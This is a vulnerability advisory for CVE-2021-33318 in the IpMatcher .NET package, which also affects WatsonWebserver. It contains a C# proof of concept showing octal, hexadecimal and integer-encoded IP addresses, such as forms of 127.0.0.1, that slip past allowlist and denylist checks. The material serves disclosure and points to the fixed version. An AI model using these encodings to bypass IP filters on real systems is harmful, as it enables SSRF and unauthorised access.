Title

.NET C# package IpMatcher incorrectly validates input, leading to indeterminate SSRF, LFI, RFI, DoS vectors

CVE ID

CVE-2021-33318

Internal IDs

- 0-2021
- SICK-2021-060

Vendor

Joel Christner https://github.com/jchristn

Affected product(s)

- https://github.com/jchristn/IpMatcher
- https://github.com/jchristn/WatsonWebserver
- https://github.com/jchristn/HttpServerLite

Affected versions

- IpMatcher v 1.0.4.1 and below
- WatsonWebserver v 4.1.3 and below

Vulnerability type

CWE-20 (improper input validation)

Description

A vulnerability in the .NET C# IpMatcher v1.0.4.1 and below NuGet package allows an attacker to submit invalid octal or hexadecimal IP addresses and netmasks, since IpMatcher does not properly validate them against the internal "Matcher" match list of IP addresses and subnets. Further, IpMatcher does not correctly reformat additions to the match list when these additions (IP address or netmask or both) are supplied in octal or hexadecimal notation. A remote, unauthenticated attacker can bypass allowlist or denylist validation based on use of IpMatcher as exemplified by WatsonWebserver, resulting in indeterminate SSRF, LFI, RFI, or DoS.

Response

Patched (researchers notified 19 August) in commit and NuGet package version 1.0.4.2

Timeline

- **6 May 2021**: vulnerability discovered
- **11 May 2021**: CVE requested, vendor notified
- **12 May 2021**: Vendor agrees to validate and fix
- **6 July 2021**: 90 days since discovery reached
- **19 August 2021**: vendor notifies researchers of patch
- **26 August 2021**: advisory published
- **24 March 2022**: CVE-2021-33318 reserved

- **15 May 2022**: vendor notified

Researchers

- *Harold Hunt* https://github.com/huntharo
- *Kelly Kaoudis* https://github.com/kaoudis || https://twitter.com/kaoudis
- *John Jackson* https://twitter.com/johnjhacking
- *Sick Codes* https://github.com/sickcodes || https://twitter.com/sickcodes
- *Victor Viale* https://github.com/koroeskohr || https://twitter.com/koroeskohr
- *Nick Sahler* https://github.com/nicksahler || https://twitter.com/tensor_bodega
- *Cheng Xu* https://github.com/xu-cheng

Proof of Concept

This is also available on PacketStorm.

```
/* Author: Kelly Kaoudis
 * License: GPLv3
 *
 * Requires:
 * `dotnet add package IpMatcher --version 1.0.4.1`
 *
 * To run:
 * `dotnet run`
 */

using System;
using IpMatcher;

namespace dotnet
{
    class PoC
    {
        private static void checkExists(Matcher matcher, string ip, string mask)
        {
            if (matcher.Exists(ip, mask))
            {
                Console.WriteLine("matches on " + ip + " / " + mask);
            }
            else
            {
                Console.WriteLine("DOES NOT match on " + ip + " / " + mask);
            }
        }

        private static void checkMatchExists(Matcher matcher, string ip)
        {
            if (matcher.MatchExists(ip))
            {
                Console.WriteLine("matches on " + ip);
            }
            else
            {
                Console.WriteLine("DOES NOT match on " + ip);
            }

        }

        private static void dumpMatcher(Matcher matcher)
        {
            Console.WriteLine("\nWhat is actually in the matcher now (if nothing follows on the next line, nothing)?");
            foreach (string addr in matcher.All())
            {
                Console.WriteLine("address from matcher: " + addr);
            }
            Console.WriteLine("");
        }

        static void Main(string[] args)
        {
            Console.WriteLine("Constructing a new IpMatcher#Matcher...");
            Matcher matcher = new Matcher();
            // nothing in the matcher yet
            dumpMatcher(matcher);

            Console.WriteLine("adding 192.31.196.0 / 0.0.0.0 (mask)");
            matcher.Add("192.31.196.0", "0.0.0.0");

            // contains 0.0.0.0 / 0.0.0.0 (incorrect)
            dumpMatcher(matcher);

            checkExists(matcher, "192.31.196.2", "0.0.0.0");
            checkExists(matcher, "192.31.196.1", "0.0.0.0");
            checkExists(matcher, "192.31.196.0", "0.0.0.0"); // should match but does not
            checkExists(matcher, "0.0.0.0", "255.0.0.0"); //should not match
            checkExists(matcher, "0.0.0.0", "0.0.0.0");

            checkMatchExists(matcher, "0.0.0.0");
            checkMatchExists(matcher, "192.31.196.0");
            checkMatchExists(matcher, "192.31.196.1");
            //checkMatchExists(matcher, "0192.031.0196.0"); throws parse exception and not sure why
            checkMatchExists(matcher, "0300.037.0304.0"); // octal for 192.31.196.0
```

```
            checkMatchExists(matcher, "0300.037.0304.01");
            checkMatchExists(matcher, "0300.036.0304.0"); // should not match but does
            checkMatchExists(matcher, "0100.0100.0100.0100"); // should not match but does

        //    checkMatchExists(matcher, "aaaaaaaaaa"); thankfully results in exception

            // results in invalid argument exception
           // if (matcher.MatchExists("0192.031.0196.02"))
           // {
           //     Console.WriteLine("gross! matches 0192.031.0196.02");
           // }

            Console.WriteLine("adding 192.168.0.0 / 255.0.0.0 (mask)");
            matcher.Add("192.168.0.0", "255.0.0.0");

            checkExists(matcher, "192.167.0.1", "255.0.0.0");
            checkExists(matcher, "192.168.0.0", "255.0.0.0");
            checkExists(matcher, "192.168.1.1", "255.0.0.0");
            checkMatchExists(matcher, "172.13.2.15");
            checkMatchExists(matcher, "010.1.1.1");
            checkMatchExists(matcher, "4.4.4.4");

            Console.WriteLine("adding 0300.055.0250.0 / 1.1.0.0 (mask)");
            matcher.Add("0300.055.0250.0", "1.1.0.0");

            checkExists(matcher, "192.45.168.0", "1.1.0.0");
            checkExists(matcher, "0300.055.0250.0", "0.0.0.0");
            checkExists(matcher, "0300.055.0250.0300", "1.1.0.0");
            checkExists(matcher, "0288.055.0250.0", "1.1.0.0");

            checkMatchExists(matcher, "2130706433");
            checkMatchExists(matcher, "017700000001");
            checkMatchExists(matcher, "3232235521");
            checkMatchExists(matcher, "3232235777");
            checkMatchExists(matcher, "0x7f.0x00.0x00.0x01");
            checkMatchExists(matcher, "0xc0.0xa8.0x00.0x14");

            Console.WriteLine("adding 0300.055.0250.0 / 0377.0.0.0 (mask)");
            matcher.Add("0300.055.0250.0", "0377.0.0.0");

            Console.WriteLine("adding 0250.0300.010.010 / 0.0.0.0 (mask)");
            matcher.Add("0250.0300.010.010", "0.0.0.0");

            Console.WriteLine("adding 0250.0300.010.010 / 010.010.010.0 (mask)");
            matcher.Add("0250.0300.010.010", "010.010.010.0");

            // anything ending in 8 or 9 doesn't work
            Console.WriteLine("adding 0172.057.0.0 / 0.0.0.0 (mask)");
            matcher.Add("0172.057.0.0", "0.0.0.0");

            Console.WriteLine("adding 0172.057.0.0 / 055.055.013.0 (mask)");
            matcher.Add("0172.057.0.0", "055.055.013.0");

         //   matcher.Add("08.09.0.0", "01.01.01.0"); fails as it should

            Console.WriteLine("adding 010.010.0172.0 / 0.0.0.0 (mask)");
            matcher.Add("010.010.0172.0", "0.0.0.0");

            Console.WriteLine("adding 010.010.0172.0 / 01.01.01.01 (mask)");
            matcher.Add("010.010.0172.0", "01.01.01.01");

            Console.WriteLine("adding 010.010.0172.0 / 010.010.0172.010 (mask)");
            matcher.Add("010.010.0172.0", "010.010.0172.010");

            Console.WriteLine("adding 010.010.0172.0 / 010.010.0.010 (mask)");
            matcher.Add("010.010.0172.0", "010.010.0.010");

            Console.WriteLine("adding 010.010.0172.0 / 010.010.0.010 (mask)");
            matcher.Add("010.010.0172.0", "010.010.0255.010");

            Console.WriteLine("adding 0xaa.0xaa.0xaa.0xaa / 0xaa.0xfe.0xfe.0xfe (mask)");
            matcher.Add("0xaa.0xaa.0xaa.0xaa", "0xfe.0xfe.0xfe.0xfe");

          //  fails with exception as it should as 0xfff is tooooo biggggg
          //  matcher.Add("0xfff.0xfff.0xfff.0x0", "0x0.0x0.0x0.0x0");

            Console.WriteLine("adding 0xf0.0x0.0x0.0x0 / 0xff.0x0.0x0.0x0 (mask)");
            matcher.Add("0xf0.0x0.0x0.0x0", "0xff.0x0.0x0.0x0");

            // now contains the following:
            // 0.0.0.0/0.0.0.0
            // 192.0.0.0/255.0.0.0
            // 0.1.0.0/1.1.0.0
            // 192.0.0.0/0377.0.0.0
            // 8.0.8.0/010.010.010.0
            // 40.45.0.0/055.055.013.0
            // 8.8.122.0/010.010.0172.010
            // 8.8.0.0/010.010.0.010
            // 8.8.40.0/010.010.0255.010
            // 170.170.170.170/0xfe.0xfe.0xfe.0xfe
            // 240.0.0.0/0xff.0x0.0x0.0x0
            dumpMatcher(matcher);
        }
    }
}
```

References

Mitre CVE links

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-33318
- https://nvd.nist.gov/vuln/detail/CVE-2021-33318

Project links

- https://github.com/jchristn/IpMatcher
- https://github.com/jchristn/WatsonWebserver

Related

- https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-060.md
- DEF CON 29 talk
- https://www.nuget.org/packages/IpMatcher/1.0.4.2 (fixed version)
- Fixing commit: https://github.com/jchristn/IpMatcher/commit/81d77c2f33aa912dbd032b34b9e184fc6e041d89
- https://sick.codes/sick-2021-011
- https://sick.codes/sick-2021-014
- https://sick.codes/sick-2021-018